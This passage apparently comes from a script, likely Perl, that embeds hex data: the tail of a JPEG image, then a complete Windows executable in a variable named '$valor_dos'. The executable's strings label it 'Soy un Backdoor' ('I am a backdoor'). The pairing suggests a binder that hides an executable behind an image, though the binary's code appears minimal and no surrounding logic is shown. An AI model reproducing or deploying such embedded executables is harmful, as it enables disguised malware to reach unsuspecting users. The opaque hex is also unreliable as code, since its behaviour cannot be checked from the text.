d6ff11fab8ad8cb5aa667d0a0c6fb334ed3db78dd91fa37f69df929d8bb3fca60cf7ba6f50cb0bbc61b0dde371f972fb2ba50a157194e3a74a16c3046366b1a3eff0015e85ac469f299f25ba8bf7dfcff004a7333fabf180372ba6bdb5bd3bea126e4faf0f33f92ef6768986681edb5f2145c46e04f55dcfe1b6eac76acfb2c5de77134c77e4c859c44a8d972f97f74d7d3569e0f5ef2cc2cdbfc454b0d4c7bbaa0d6fa72c3e263324d0f95c1ac6ba378249e839853cb36d5195bb26acd3dfa430d6606c12ba56c10c8c99f211b6c4069f0dbf3579c56771f996bfd8e62648f6ef217b4b248fe2d3cc214bee66252088a1b556a03a6b102f0a6fb64cad8c46d3b75df993b1f2faec8bccea372fbcb697c26707f2fc7c523faf78d1c2ffef0e6a9593ec7a07f13f17927467c23b0de21fde1fe4b4889e648992163985cd0785c362df42b89e78aac0f9e791b1451b4b9ef71d8340f128a5a95b7986099bd0f9dc0406c5caec35c3837bd8e40e1b9e836ebf651f730199c76fedb8ab95c0db732c0e68e7d3990b6fd338f9f5c6763cfdd89ccc1d07ef8f85ed23da641fd291e43c3fd0ad3155c17eddfcafc9982d259dd456db5f1b8e9a4dcece94b4b6367a971e417e8ad05a1aa68ac4185ae13dd9f67599f6db73e0d1e4d1feaad488a88888088880888808888088be5ef6c6c73dee0d6b46e49f008289aee7fd3fa8311a261792cb6ff006ac870feac0ce61a7fb447d879ac93b59af87a7ae26ad86af0d78e2898d999080d6093c760390e5b6fb78a8dd47ab72191d637f394aed8aaf96473227c3296384439346e36f00144e3a8dacd6561a70f1493d9936dcf3ebd5c7f328796e3d9f92743e30924ff0016e1cffb6e5625e6c7518f1b8dad461dfbbaf1363693d4ec36dd7a559e9d6351108ed430fb469cc943c5c3c75656efe5ee9598e2de64c5d571ff00a4d1f65af39a1cd2d3d08d8acbb1a6863a29b0f7294a66a33be274cc97de70dc969d8f2e842cb2cea37adbd1fb3f3462cd3bf787ca2f71a1159697e3a7eff61b989c36900f878fc9787a1d8aceb78b787d2d3256f1bacbcb6cd89a4831f446f6ee3fbb8bfabe6ef905a760f0d5b0189871f547bb18ddcf239c8e3d5c7e2aa9a0b1e2de4ef66a56ee213ec95f71d36e6f23e7b0dfe2af6b7ac6a1f2bd6679cd9a67da3887ffd3bca222b3d51426a4cf9c441157a710b594b8e11d4aa3abdc7c48f20a6d57da63a9dae61277b63fe574a680170e61c3dedc7e5f3292cf2da6b599844e7fb3bc9e1f0516aaf6b9723a829ccdb56413ee700e6e6347937ee37f82b0e033f8ed4549b76948c3270812c7faf19fd93fe7d1682a839eec9b1d7722eca60af4f82bee3bb9d5f9c6e3e278771b6fe876f45571e3cb3494922af7f04bb4aaac6c7067f136c6df8ac46e691f46f3f9af43744eb6bc5adc86acad5222d1c6da3577713bf838ec47c7eca76e8fbc55e8cce7f1980addfe4ad36107f0b3abde7d1a399fc944e374fe63b41b4cb59b826c669d610f8a993c32db3e05fe21be3f979ab3e0bb36d3f85b3edd2452e4f21bf11b77dfdebf7f303a0f8edbfaab6a6d85f34db8f675c30c55e16430c6d8e28da1ac6306c1a07400782ec4450c44444044440444404444044441f064635ed8cbda1eedf85a4f33b75d954fb52cc9c3682bef61da6b40558f978bf91ff0f12af66b3b37fc5ca160cbb50c74ecc73802367493c6e24fc8f00f92faed3e7fd21ab74b6046c5a6736a56ee3986f4fb07fc51311b9d30fa784ca642c36bd5c7d89647740233f73d02d7f41e881a6e075cbc18fc8ca36e5cc42df207ccf89572456d3b69862b3b11111b8a8dae7072c36467e944e9070865d8d8373c23a483e1d0fa7c15e51263644cc4ee3cb23af6038327af2f2ead7b0a94b4f6dcc6c9900d02c41ff300720f07a3bf71562ca685c65e9dd66a3e4c75871ddce836e079f32c3cbe9b28a3a1f390c73475b3151ec9e3744fef6b10784fc0f55cf7c53b89af97a14ebbb79d72b1690a428e94c7c5c3b3df08964dc6c789fef1dfeaa42ae46add9a68ab4c25301e191cce6d0ef2dfa13e9e0ab9168fc95a8a38331a8ec58ab1b43457ad1881ae681b6ce2399566a94eb50aacab5216430c6366b183601743ccaeddc8bc399ca4386c54f7a6e6236fbadf17b8fe168f895ec612e63491b123723c916dfb3e955b524becbad747d8686879bc632e3fb2ee107f3569548ed07ff18d2c77e7fa45bb7f79892cf37a25b22222abcf1111011110111101111011110111101111079b216cd0a135b15e7b262617086067148f3e4d1e2565917697a82dde923b56719a7f776d1d6bd565327cdc4b5ab5c547ed1afb2cc106998bb913641ae7cf34ac6b856aedfc4fd8f427a03f1f244d7cabff00c16b990c365a1c8de865b790b86e4566004063b66f0900f4db87ccf2f15138dc8decff006a50bf2d0f7573198e3148d0439ae783b1734f910fdfe6a670ba934d56c04d162ae35f0e3227131bdc43c86ee77e7d41f3f5552ecb2e4b91d5796bb39de59e22f71f52f054baa62bdd5d35544452ea111101111011110179eedfab8eaceb16e66c518f13d49f203a93e817a1705ad2e0e2d05cde876e6110a6c54725abf370dfc9d7929e1a9bc3eb54946cf9de3a3de3c07fbf3573444445742a5eba85d6350e93863db8df911b027facc574550ccb1b73b54d2750b5e7ba73e725be9cc7dd892cf37a25ae2222ab80444404444044441fffd4d99111011110111101111015032fa16dea7d7d62fe4a57c5858e08a1ee5afd9d6b6f7b879730ce2773f1247cd5fd7082ab9becd74b66e90ae71915391ade18e7a8d11bdbcb6f0e4ef9eeb35d03867e9dd779dc3492b667558c37bc68db8871020ede1c885baaca648451edab2ec6b1a1b768326041f2e107ee0a434c5eb85a511159e888888088880888808888088880aa98069ca76df3ca372cc5d0d86c76d8b801cfcff1956a73835a5ce3b00372557fb1c8dd7e6d43a89fb9f6db9ddc64fecb773ff70fa289737513f2c434e44552ed1b2792a181ad5b1529af6325723a7ed201de10fdf777a1e5b6feaa1c6b66eb9591d56c7a0753626c7e98bf251b6258ae476657481db30b9ae000fc5bf801e83af3b9e2bb42c36532f1e28c37a8d99b7ee05dac6213edfb24fefdba22d6acd6752b4a2222a2222022220222202222022220222202cc75f4671bda569acb1f762b51be9bcf2db7e7b7ddff0065a72a3f6b78b92f68b7ddadb8b38b99b6e323afbbc8fd8eff00244c4ea76f5a2f1e2323165b1356fc4776d8883fe07c47c8ee17b159e9c4ec44444888880888808888088882bdaeb2a313a4aeca1dc32cccee63dba92ee5cbe5b9f92f7e072f88ecf745e2f177a6749907422434ebb0c933deff00788e11d3aedb9d87259bf6b39defb2d57155dfff0027fc6c9b1e5c67a7d07e6a7f4dc8d9abc70e94c77e92cbcd131d732360931c4f70dcf1c87993d7dd0a25c79262d7e6788582feb1d516abbac88e8e99a1ff005eebbbd9fd366f2683e8775013e465cb411b9d7b3d95124ec6c16e56f7151b3177b8e0d1c3c5b100edb1d86eae588ecdea0b0cc8ea5b0ecde40731deff003117a323e9f55cf69515caf86c6e431f4df6198cbec9e68616fbddd70b9a7603fb5f2489d4b28b56278852f4f9bfa7af3dd9e339758696d685ac75892470e6787877db90f4dfe4a75989c96add4588b0719671f8ec5d96db362d3381f339bb16b1acea01f1276faa8d17a5d5fac34f8c14361d0e3ec8b36ec3e373191b796ec248ea40216b8af92f37b6e57c97fcb1e05ca22cd80888808888088880888808888088880baec4115aad2d79d81f14ac2c7b4f47348d885d8883ffd5edd2464d33a8323a32eb88ee24335173bfa488f3e5f2e7f55745e2ed3349d8cb52873b87e2666717bbe2e01ce56752df53d76f891e2bc5a5b5257d4b8a6d866ccb11ecdb10f8c6ff00f2f2530ecc17dc76ca691114ba4444404444044440519a8b37069ec34f7e6d8968e1899fb6f3d02f7cf3c55607cf3c8d8e28da5cf7b8ec1a02abe97a337683a9d99fb713e3c1e31fb5389e36efe51fae7cc0ff0021e692cb2e4ec8fdd0fa3fb27c86a2b873bab0be0867777becfbed24dbf3f7bf647dfe0b68c7e3a962a9c74e8568eb578c6cd8e36ec07fbf35e85caabcf170b9441c000740b944404444044440444404444044440444404444044441c2cf757e87bf5f26fd4fa40b22c8104daa67932d0f41fb5f9f5e47ae86b844c4eb9866584d6343312474dcc7d5c8f198e6a728d9f1b83493d7a8e5b2b0a8fd691d5835be9ab1dc3193cded11ba60d1c4efe2c6cd27c7aa88d539ab18ccde0e1ab4e7baf92495e6bc0377bc0611cbcf6e2df6f456dbb699374eeb2ce8abb06bac13e5305b9e5c6d81f8a0bd13a2737c39efcbafaf82958b338ab0ce387274e56efb71327691f628d62d59f12f6a2f37e92a1ffd6d7ffd56ff009af0dbd57a7a935c67ccd31c2762d6cc1ee1f26ee513b884baf3643234f154df72f4ec8208c6ee7b8fd8799f40aac75cdbcc48eada47056b292efb77ef61642c3e64ff00996a94c4f65f732b723ca6b9c87b7cade71d084910c7e848db7f80f2e64a6d8df3d63c7284a7472fdaa5c1b364c7e98865f79e793ed6de03fdec3d485af51a55b1b4a1a54e26c35e060646c6f4680bb21862af0b218636c7146d0d6318360d03a003c1762ab8ad69b4ee4444440888808888088880888808888088880888808888088880888808888283da4f14198d2970ec58cc83a1209d8ef237607ec578a42eff008ada6411ee7716b63ebddf3fdca73b51a4fb5a26c59886f2e3a465c67fe43b9fb6eabb6ec81acb47e5e37010cd2be1dc8dc7f1b1fbbf32a5b567f0e61a3ddc6d0c945dd5fa55ed47fb33441e3e842af5becbf45dd3bc98181849e2fe25ef8bff00691cbd15ad1431524763fa1c389fd10f20f81b52ec3fc4a468f675a3f1c5a60c0547168e4666994f5dff005c9e7eaaca883e228628236c50c6d8d8de4d6b06c07c97da22022220ffd6d991110111101111011110111101111011110111101111011110111101111074daad15ca92d599bc514cc2c7b7cc11b158ecf52d45a42c503bbb23a66e07337ea446ee261f818cad86eddad8ea535cb73361af034be491e760d016633e7a1bdaca2c9d2c56423c7e4e1104f62683863908fe6dfd771b825bef01cb646b8bcebf569b46e4390a105daee0e86c46d9187cc11b85e8599d2c66a5a34462a967db431f59eef6631576c929613b80e2ee400df61b78295d05a83296f2798c0662cb6ed8c6398596db186778c78dc0701c811fefa22b6c76ac6e57744445044440444404444044440444404444044440444404444044440444404444044440444415cd7d82b9a8f48dbc763dcd161c58f635e760fe17077093e1becaad2e5f3f4a4a50dfd36691b53b6b87bedb1cde2d893b06ee480013e1d3aad3151bb50ad762a58dcf546095987b2669e12ee1e28c8d891bf88fde8d2979acf0f0e6aac7733584ad667b3155b561f0482bcef89c498cb9bcda478b7eeae581d3589d3555f5f155bb96c8ee291ce7173a43e649e65675a7724fed0b53e3ec50af2418ac3cded333e7e10e7cbb6cc68009f32775ad2994e5b45adc0888a1908888088880888808888088880888808888088883ffd7d99111011110111107ffd9";
my $valor_dos =
"4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010500d750435100160000d2010000e00007030b010238000a000000120000000200002012000000100000002000000000400000100000000200000400000001000000040000000000000000600000000400004252000003000000000020000010000000001000001000000000000010000000000000000000000000500000ac020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e746578740000003009000000100000000a000000040000000000000000000000000000600000602e64617461000000400000000020000000020000000e0000000000000000000000000000400000c02e7264617461000000010000003000000002000000100000000000000000000000000000400000402e62737300000000b0000000004000000000000000000000000000000000000000000000800000c02e69646174610000ac020000005000000004000000120000000000000000000000000000400000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005589e583ec18895df88b550831db8975fc8b0231f68b003d910000c077433d8d0000c0725bbe01000000c704240800000031c089442404e89407000083f801746c85c0742ac7042408000000ffd0bbffffffff89d88b75fc8b5df889ec5dc204003d930000c074bd3d940000c074bb89d88b75fc8b5df889ec5dc204008d76003d050000c075e8c704240b00000031f689742404e83707000083f801743485c074cdc704240b000000ffd0eba1c7042408000000bb01000000895c2404e80e07000085f67488e845020000bbffffffffeb81c704240b000000b901000000bbffffffff894c2404e8e4060000e962ffffffeb0d909090909090909090909090905589e55383ec248d5df8c7042400104000e86a07000083ec04e8f2010000c745f800000000b8004040008d55f4895c24108b0d002040008944240489542408894c240cc7042404404000e8b1060000a11040400085c07458a3102040008b15dc50400085d20f858b00000083fae07420a110404000894424048b1ddc5040008b4b30890c24e8660600008b15dc50400083fac0741b8b1d10404000895c24048b0ddc5040008b5150891424e840060000e82b0600008b1d102040008918e81e01000083e4f0e8f60500008b08894c24088b150040400089542404a104404000890424e8a900000089c3e8c2050000891c24e89a060000894424048b15dc5040008b4210890424e8e50500008b15dc504000e955ffffff8d76008dbc27000000005589e583ec08c7042401000000ff15d0504000e8c8feffff908db426000000005589e583ec08c7042402000000ff15d0504000e8a8feffff908db42600000000558b0dec50400089e55dffe18d742600558b0de050400089e55dffe1909090905589e55de957020000909090909090905589e583ec0883e4f0b80000000083c00f83c00fc1e804c1e0048945fc8b45fce86b040000e806010000c7042400304000e84a050000e815060000b800000000c9c3909090909090909090909090909055b90031400089e5eb148db6000000008b51048b0183c10801820000400081f90031400072ea5dc390909090909090905589e5dbe35dc39090909090909090905589e583ec08a1202040008b0885c97426eb0d90909090909090909090909090ff108b0d202040008b51048d4104a32020400085d275e9c9c38db426000000005589e55383ec04a11c19400083f8ff742985c089c3741389f68dbc2700000000ff149d1c1940004b75f6c7042420134000e8cafeffff5b5b5dc38b0d2019400031c085c9eb0a408b14852019400085d275f4ebbd8db6000000008dbf000000005589e55383ec04a12040400085c07536a11c194000bb01000000891d2040400083f8ff742585c089c3740f908d742600ff149d1c1940004b75f6c7042420134000e85afeffff5b5b5dc38b0d2019400031c085c9eb0a408b14852019400085d275f4ebc190909090909090909090909055a17040400089e55d8b4804ffe189f655ba4200000089e5530fb7c083ec64895424088d55a831db89542404890424ff15b4504000ba1f000000b90100000083ec0c85c07507eb4601c94a780e807c2aa84175f409cb01c94a79f2833b3c750789d88b5dfcc9c3b944304000baea000000894c240c89542408c7042471304000b89030400089442404e892020000b8bc304000bbe40000008944240c895c2408ebd78db426000000008dbc27000000005589e557565381eccc0000008b0d7040400085c974088d65f45b5e5f5dc3c7459841414141a1203040008d7598c7459c41414141c745a0414141418945b8a124304000c745a441414141c745a8414141418945bca128304000c745ac41414141c745b0414141418945c0a12c304000c745b4414141418945c4a1303040008945c8a1343040008945cca1383040008945d0a13c3040008945d40fb70540304000668945d8893424ff15b05040000fb7c083ec0485c0898544ffffff0f853b010000c704243c000000e89302000085c089c30f8459010000fc89c78b8544ffffffb90f000000f3abc7430450184000b901000000c7430830144000a140404000c7033c0000008b1544404000c7432800000000894314a1302040008953188b153420400089431ca150404000895320c74330ffffffff89432c8b153c204000a138204000895338ba1f00000089433489f689d821c883f80119c0242001c9044188842a48ffffff4a79e7a120304000898568ffffffa12430400089856cffffffa128304000898570ffffffa12c304000898574ffffffa130304000898578ffffffa13430400089857cffffffa138304000894580a13c3040008945840fb70540304000668945888d8548ffffff890424ff15a85040000fb7f883ec0485ff754231d285d2751e891c24e863010000893424ff15b050400083ec040fb7c0e85ffdffff89c3891d704040008d4304a3604040008d4308a3804040008d65f45b5e5f5dc389f8e838fdffff39d889fa75b1ebb1e83b01000090909090909090909090905189e183c1083d00100000721081e9001000008309002d00100000ebe929c183090089e089cc8b088b4004ffe09090905589e583ec188b4514894424108b45108944240c8b450c894424088b450889442404a1dc50400083c040890424e8ee000000a1dc50400083c040890424e8ce000000e8b9000000909090909090909090ff25d050400090900000000000000000ff25d450400090900000000000000000ff25c850400090900000000000000000ff250451400090900000000000000000ff25cc50400090900000000000000000ff25e450400090900000000000000000ff25c450400090900000000000000000ff250051400090900000000000000000ff25d850400090900000000000000000ff25f850400090900000000000000000ff25fc50400090900000000000000000ff25e850400090900000000000000000ff25f050400090900000000000000000ff25f450400090900000000000000000ff25b850400090900000000000000000ff25ac50400090900000000000000000ff25b450400090900000000000000000ff25b050400090900000000000000000ff25a8504000909000000000000000005589e55de9a7f9ffff909090909090905589e583ec08a1dc504000ff4804837804007811a1dc5040008b100fb6128955fcff00eb10a1dc504000890424e80effffff8945fc8b45fcc9c39090ffffffffd018400000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000004000000000000000000000000000002c19400000000000000000000000000000000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000536f7920756e204261636b646f6f7220784444440000000000000000000000002d4c49424743435733322d45482d322d534a4c4a2d475448522d4d494e475733320000007733325f7368617265647074722d3e73697a65203d3d2073697a656f66285733325f45485f534841524544290025733a25753a206661696c656420617373657274696f6e20602573270a00002e2e2f2e2e2f6763632f6763632f636f6e6669672f693338362f7733322d7368617265642d7074722e63000047657441746f6d4e616d6541202861746f6d2c20732c2073697a656f662873292920213d2030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004050000000000000000000004c520000a85000005c5000000000000000000000a0520000c45000000000000000000000000000000000000000000000000000000c51000018510000285100003451000044510000000000000000000064510000745100008451000094510000a8510000b4510000c0510000c8510000d4510000e0510000e8510000f4510000005200000c52000014520000205200002c52000000000000000000000c51000018510000285100003451000044510000000000000000000064510000745100008451000094510000a8510000b4510000c0510000c8510000d4510000e0510000e8510000f4510000005200000c52000014520000205200002c52000000000000010041646441746f6d4100009b004578697450726f63657373000000af0046696e6441746f6d4100dc0047657441746f6d4e616d65410000df02536574556e68616e646c6564457863657074696f6e46696c74657200000027005f5f6765746d61696e61726773003c005f5f705f5f656e7669726f6e00003e005f5f705f5f666d6f64650000000050005f5f7365745f6170705f747970650000000079005f636578697400000000aa005f66696c627566000000e9005f696f6200005e015f6f6e6578697400000084015f7365746d6f64650000150261626f7274001c0261746578697400000000300266666c757368000000003902667072696e74660000003f0266726565000072026d616c6c6f63000000007f027072696e74660000000090027369676e616c0000000000500000005000000050000000500000005000004b45524e454c33322e646c6c0000000014500000145000001450000014500000145000001450000014500000145000001450000014500000145000001450000014500000145000001450000014500000145000006d73766372742e646c6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e66696c650000000f000000feff00006701637274312e63000000000000000000000000000000000400000000000000010020000301000000000000000000000000000000000000000000001e000000000100000100200003000000000032000000200200000100200002000000000042000000400200000100200002005f61746578697400600200000100200002005f5f6f6e65786974700200000100200002002e74657874000000000000000100000003017c02000026000000000000000000000000002e64617461000000000000000200000003010000000000000000000000000000000000002e62737300000000000000000400000003010800000000000000000000000000000000002e66696c6500000019000000feff0000670163727473747566662e6300000000000000000000000055000000800200000100200002010000000000000000000000000000000000002e74657874000000800200000100000003010900000001000000000000000000000000002e64617461000000000000000200000003010000000000000000000000000000000000002e62737300000000100000000400000003010000000000000000000000000000000000002e66696c6500000027000000feff00006701686f6c616d756e646f2e63707000000000005f6d61696e000000900200000100200002000000000065000000e00800000100000003013a00000004000000000000000000020000005f67657463686172e00800000100200002002e74657874000000900200000100000003014200000005000000000000000000000000002e64617461000000000000000200000003010000000000000000000000000000000000002e62737300000000100000000400000003010000000000000000000000000000000000002e72646174610000000000000300000003011500000000000000000000000000000000002e66696c650000002f000000feff00006701435254676c6f622e630000000000000000002e74657874000000e00200000100000003010000000000000000000000000000000000002e64617461000000000000000200000003010400000000000000000000000000000000002e62737300000000100000000400000003010000000000000000000000000000000000002e66696c6500000037000000feff00006701435254666d6f64652e6300000000000000002e74657874000000e00200000100000003010000000000000000000000000000000000002e64617461000000100000000200000003010000000000000000000000000000000000002e62737300000000100000000400000003010400000000000000000000000000000000002e66696c650000003f000000feff000067017478746d6f64652e630000000000000000002e74657874000000e00200000100000003010000000000000000000000000000000000002e64617461000000100000000200000003010400000000000000000000000000000000002e62737300000000200000000400000003010000000000000000000000000000000000002e66696c6500000049000000feff0000670170736575646f2d72656c6f632e63000000000000000073000000e00200000100200002010000000000000000000000000000000000002e74657874000000e00200000100000003012800000003000000000000000000000000002e64617461000000200000000200000003010000000000000000000000000000000000002e62737300000000200000000400000003010000000000000000000000000000000000002e66696c6500000054000000feff000067014352545f667031302e6300000000000000005f6670726573657410030000010020000201000000000000000000000000000000000000000000008e000000100300000100200002002e74657874000000100300000100000003010700000000000000000000000000000000002e64617461000000200000000200000003010000000000000000000000000000000000002e62737300000000200000000400000003010000000000000000000000000000000000002e66696c6500000062000000feff000067016763636d61696e2e63000000000000000000000000009800000020000000040000000300702e3000000000002000000002000000030000000000a50000002003000001002000020100000000000000000000000000000000000000000000b8000000600300000100200002005f5f5f6d61696e00c00300000100200002002e74657874000000200300000100000003010401000011000000000000000000000000002e64617461000000200000000200000003010400000001000000000000000000000000002e62737300000000200000000400000003011000000000000000000000000000000000002e66696c6500000008010000feff0000670100000000cb000000000000000000000000002e74657874000000300400000100000003010000000000000000000000000000000000002e64617461000000300000000200000003010000000000000000000000000000000000002e627373000000003000000004000000030102000000000000000000000000000000000000000000df0000002000000003000000030000000000f000000030040000010020000301000000000000000000000000000000000000000000001401000040040000010020000300000000002901000040000000040000000300000000003c01000030000000020000000300000000004701000050000000040000000300000000005401000038000000020000000300000000005f010000e00400000100200002002e7465787400000030040000010000000301e50200002c000000000000000000000000002e64617461000000300000000200000003011000000000000000000000000000000000002e62737300000000400000000400000003012000000000000000000000000000000000002e7264617461000020000000030000000301c3000000000000000000000000000000000070726f626500000026070000010000000600646f6e65000000003d0700000100000006002e74657874000000200700000100000003012d00000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e74657874000000500700000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e6273730000000060000000040000000301000000000000000000000000000000000000000000007b010000500700000100200002010000000000000000000000000000000000002e74657874000000500700000100000003014700000005000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e74657874000000a00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437740200000500000003002e69646174612435dc0000000500000003002e69646174612434740000000500000003002e69646174612436c00100000500000003002e74657874000000a00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437680200000500000003002e69646174612435d00000000500000003002e69646174612434680000000500000003002e69646174612436940100000500000003002e74657874000000b00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437840200000500000003002e69646174612435ec0000000500000003002e69646174612434840000000500000003002e69646174612436e80100000500000003002e74657874000000b00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437780200000500000003002e69646174612435e00000000500000003002e69646174612434780000000500000003002e69646174612436c80100000500000003002e74657874000000b00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124376c0200000500000003002e69646174612435d40000000500000003002e696461746124346c0000000500000003002e69646174612436a80100000500000003002e74657874000000c00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437600200000500000003002e69646174612435c80000000500000003002e69646174612434600000000500000003002e69646174612436740100000500000003002e74657874000000d00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124379c0200000500000003002e69646174612435040100000500000003002e696461746124349c0000000500000003002e696461746124362c0200000500000003002e74657874000000e00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437640200000500000003002e69646174612435cc0000000500000003002e69646174612434640000000500000003002e69646174612436840100000500000003002e74657874000000f00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124377c0200000500000003002e69646174612435e40000000500000003002e696461746124347c0000000500000003002e69646174612436d40100000500000003002e74657874000000000800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124375c0200000500000003002e69646174612435c40000000500000003002e696461746124345c0000000500000003002e69646174612436640100000500000003002e74657874000000100800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437980200000500000003002e69646174612435000100000500000003002e69646174612434980000000500000003002e69646174612436200200000500000003002e74657874000000200800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437700200000500000003002e69646174612435d80000000500000003002e69646174612434700000000500000003002e69646174612436b40100000500000003002e74657874000000300800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437900200000500000003002e69646174612435f80000000500000003002e69646174612434900000000500000003002e696461746124360c0200000500000003002e74657874000000400800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437940200000500000003002e69646174612435fc0000000500000003002e69646174612434940000000500000003002e69646174612436140200000500000003002e74657874000000500800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437800200000500000003002e69646174612435e80000000500000003002e69646174612434800000000500000003002e69646174612436e00100000500000003002e74657874000000600800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437880200000500000003002e69646174612435f00000000500000003002e69646174612434880000000500000003002e69646174612436f40100000500000003002e74657874000000700800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124378c0200000500000003002e69646174612435f40000000500000003002e696461746124348c0000000500000003002e69646174612436000200000500000003002e66696c6500000018010000feff0000670166616b650000000000000000000000000000686e616d650000005c000000050000000300667468756e6b0000c40000000500000003002e74657874000000800800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612432140000000500000003011400000003000000000000000000000000002e69646174612435c00000000500000003010400000000000000000000000000000000002e69646174612434580000000500000003010400000000000000000000000000000000002e66696c6500000049010000feff0000670166616b6500000000000000000000000000002e74657874000000800800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612434a00000000500000003010400000000000000000000000000000000002e69646174612435080100000500000003010400000000000000000000000000000000002e69646174612437a00200000500000003010b00000000000000000000000000000000002e74657874000000800800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437480200000500000003002e69646174612435b80000000500000003002e69646174612434500000000500000003002e69646174612436440100000500000003002e74657874000000900800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124373c0200000500000003002e69646174612435ac0000000500000003002e69646174612434440000000500000003002e69646174612436180100000500000003002e74657874000000a00800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437440200000500000003002e69646174612435b40000000500000003002e696461746124344c0000000500000003002e69646174612436340100000500000003002e74657874000000b00800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437400200000500000003002e69646174612435b00000000500000003002e69646174612434480000000500000003002e69646174612436280100000500000003002e74657874000000c00800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437380200000500000003002e69646174612435a80000000500000003002e69646174612434400000000500000003002e696461746124360c0100000500000003002e66696c6500000059010000feff0000670166616b650000000000000000000000000000686e616d6500000040000000050000000300667468756e6b0000a80000000500000003002e74657874000000d00800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612432000000000500000003011400000003000000000000000000000000002e69646174612435a40000000500000003010400000000000000000000000000000000002e696461746124343c0000000500000003010400000000000000000000000000000000002e66696c6500000067010000feff0000670166616b6500000000000000000000000000002e74657874000000d00800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612434540000000500000003010400000000000000000000000000000000002e69646174612435bc0000000500000003010400000000000000000000000000000000002e696461746124374c0200000500000003010d00000000000000000000000000000000002e66696c6500000073010000feff0000670163727473747566662e6300000000000000000000000086010000d00800000100200003010000000000000000000000000000000000002e74657874000000d00800000100000003010900000001000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e63746f72730000200900000100000003010400000001000000000000000000000000005f5f636578697400b00700000100